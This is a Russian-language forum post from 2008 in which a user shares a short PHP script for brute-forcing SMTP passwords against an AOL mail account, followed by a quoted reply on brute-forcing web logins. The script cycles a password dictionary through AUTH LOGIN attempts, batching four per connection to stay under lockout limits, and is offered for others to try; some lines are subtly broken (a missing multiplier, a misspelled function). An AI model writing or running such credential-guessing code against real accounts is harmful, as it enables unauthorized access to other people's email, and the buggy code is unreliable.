Показать сообщение отдельно

  #6  
Старый 14.03.2008, 20:57
D Mak
Участник форума
Регистрация: 23.06.2007
Сообщений: 188
С нами: 9938614

Репутация: 116
По умолчанию

написал небольшой брут для смтп, можно испробывать
PHP код:
<?
$login 
= "yaya@aol.com";
$passes = file("passes.dic"); //файл с пассами
for($i=0; $i<(count($passes)/4); $i++) $pass[] = array_slice($passes, $i*, 4); //разбиваем пассы на массивы по 4 - за сеанс можно пытаться авторизоваться не более 4-5 раз

for($i=0; $i<count($pass); $i++)  //брутим
{
$fp = fsockopen("smtp.aol.com", 25);
fputs($fp, "EHLO server\r\n");
fgets($fp, 256);

for(
$j=0; $j<count($pass[$i]); $j++) {
    
fputs($fp, "AUTH LOGIN\r\n");
    
fgets($fp, 256);
    
fputs($fp, base64_encode($login)."\r\n");
    
fgets($fp, 256);
    
fputs($fp, base64_encode(trim($pass[$i][$j]))."\r\n");
    if(
stpos(fgets($fp, 256), "235")) exit("PASS: ".$pass[$i][$j]) ;
}
fclose($fp);
}    
?>
Цитата:
почему?
скорей всего надо будет загрузить страницу логина - поставяться куки (хз как тут, на яхе так было), а потом изучать полученную страницу (если в хидерах не будет ясно файлед/ок), и все это ясно будет выполняться с геморной скоростью, что для брута очень накладно
ЗЫ это все - ИМХО

Последний раз редактировалось D Mak; 14.03.2008 в 21:14..
 
Ответить с цитированием